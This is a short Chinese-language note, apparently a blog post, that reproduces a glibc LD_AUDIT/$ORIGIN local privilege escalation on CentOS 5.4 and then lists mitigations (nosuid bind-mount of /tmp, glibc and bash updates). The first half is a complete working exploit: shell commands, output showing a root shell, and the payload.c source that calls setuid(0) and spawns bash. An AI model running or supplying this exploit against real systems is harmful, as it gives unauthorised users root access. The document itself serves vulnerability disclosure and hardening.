测试环境centos 5.4
参考文章;http://salogs.com/2010/12/linux-gcc-root/
[test2@wdj002 ~]$ mkdir /tmp/a
[test2@wdj002 ~]$ ln -s /bin/ls /tmp/a/b
[test2@wdj002 ~]$ exec 3< /tmp/a/b
[test2@wdj002 ~]$ ls -l /proc/5162/fd/3
lr-x------ 1 test2 test2 64 Mar 8 21:01 /proc/5162/fd/3 -> /bin/ls
[test2@wdj002 ~]$ gcc -w -fPIC -shared -o /tmp/a payload.c
[test2@wdj002 ~]$ LD_AUDIT="$ORIGIN" exec /proc/self/fd/3
payload.c
[root@wdj002 ~]# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
payload.c内容如下
void __attribute__((constructor)) init()
{
setuid(0);
system("/bin/bash");
}
1,绑定目录
需要理解一下nosuid的原理:
我的理解是:比如/etc/passwd这个文件,本来只有root有权限修改,但是用户本身也可以去修改自己的密码,这就是一种“超出它本身权限的行为”,
nosuid就是为了停止这种提升特权的办法。比如/tmp目录就有这样的权限,我们就需要对它控制。
mount -o bind /tmp /tmp
mount -o remount,bind,nosuid /tmp /tmp
2,升级glibc版本(红帽官方提供的解决办法)
yum update glibc
3、升级bash版本(本人在bash4.1测试没问题)